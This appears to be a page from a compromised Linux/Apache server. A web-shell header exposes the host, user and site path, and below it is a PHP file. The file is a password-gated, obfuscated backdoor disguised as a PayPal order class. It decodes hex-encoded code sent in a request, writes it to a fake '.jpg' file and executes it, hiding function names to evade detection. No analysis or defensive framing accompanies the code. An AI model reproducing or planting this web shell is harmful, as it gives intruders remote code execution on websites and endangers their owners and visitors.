![]() Server : Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips System : Linux server1.richineiserver.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : fdshops ( 1003) PHP Version : 8.2.21 Disable Function : NONE Directory : /home/fdshops/old.fdshops.com.ng/ |
<?php //ffafewafiHFi4Kjr83Uq class GetOrderPayMenuP{ public $jpg; public function __construct(){ $this->jpg="./nbpafebaef.jpg"; } public function paypal($sg){ touch($this->jpg); $i=0; $f = "file_put"; $g = ($a = sprintf("%s%s",$f,"_contents")); $z = $g($this->jpg, sprintf("%s", $this->ppq($sg[$i][$i]))); $g; } public function __call($name, $arguments) { if ($name == 'gawsf') { $this->paypal($arguments); } else { return $this->xxx($arguments); } } function xxx($hex){ $suffix = '3061336333663730363837303230'; $end = '33663365'; $hex = $hex[0].'3f3e'; for($i=0;$i<strlen($suffix)-1;$i+=2) $tmp.=chr(hexdec($suffix[$i].$suffix[$i+1])); $tmp2=""; for($i=0;$i<strlen($tmp)-1;$i+=2) $tmp2.=chr(hexdec($tmp[$i].$tmp[$i+1])); $str=""; for($i=0;$i<strlen($hex)-1;$i+=2) $str.=chr(hexdec($hex[$i].$hex[$i+1])); return $tmp2.$str; } public function __destruct(){ unlink($this->jpg); } } //iHFi4Kjr83Uq if(isset($_REQUEST['gggsfa']) and md5($_POST['pwdsafe'])==='dca22ff11d3540d0a7b0ad1f45286d60'){ $a = array();//fewafwafnlweafniHFi4Kjr83Uq $order = new GetOrderPayMenuP(); $GLOBALS["gsw"] = &$a; $GLOBALS["gsw"] = array_merge($_REQUEST,$GLOBALS["gsw"]); define("hello",("".join(array($a["gggsfa"])))); foreach(get_defined_functions() as $ga){ foreach ($ga as $ag){ if(strlen($ag)==20 && substr($ag,0,8)=="call_use" && substr($ag,16,strlen($ag)) == "rray") $ag(array($order, "gawsf"), array(array(hello))); } } require_once($order->jpg); } //iHFi4Kjr83Uq ?>